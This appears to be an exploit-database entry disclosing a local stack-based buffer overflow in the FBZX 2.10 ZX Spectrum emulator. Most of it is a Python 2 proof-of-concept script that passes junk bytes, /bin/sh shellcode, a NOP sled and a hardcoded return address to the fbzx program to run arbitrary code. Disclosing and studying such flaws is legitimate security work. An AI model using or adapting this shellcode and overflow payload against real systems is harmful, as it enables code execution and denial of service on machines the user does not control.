发布 2015-11-11 漏洞条目

FBZX 2.10 – Local Stack Buffer Overflow

Exploit Source

# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>

# Program: fbzx - ZX Spectrum Emulator for X

# Tested on: GNU/Linux - Kali Linux 2.0 x86

# Description: FBZX v2.10 and prior is prone to a stack-based buffer overflow

# vulnerability because the application fails to perform adequate

# boundary-checks on user-supplied input.

# An attacker could exploit this issue to execute arbitrary code in the

# context of the application. Failed exploit attempts will result in a

# denial-of-service condition.

# Vendor homepage: *http://www.rastersoft.com/ <http://www.rastersoft.com/>*

# Kali Linux 2.0 package: http://repo.kali.org/kali/pool/contrib/f/fbzx/

# MD5: 0fc1d2e9c374c1156b2b02186a9f8980

import os,subprocess

def run():

try:

print "# FBZX v2.10 Stack-Based Overflow by Juan Sacco"

print "# It's Fuzzing time on unusable exploits"

print "# This exploit is for educational purposes only"

# Basic structure: JUNK + SHELLCODE + NOPS + EIP

junk = "\x41"*8

shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

nops = "\x90"*5010

eip = "\x10\xd3\xff\xbf"

subprocess.call(["fbzx",' ', junk + shellcode + nops + eip])

except OSError as e:

if e.errno == os.errno.ENOENT:

print "FBZX not found!"

else:

print "Error executing exploit"

raise

def howtousage():

print "Sorry, something went wrong"

sys.exit(-1)

if __name__ == '__main__':

try:

print "Exploit FBZX 2.10 Local Overflow Exploit"

print "Author: Juan Sacco"

except IndexError:

howtousage()

run()

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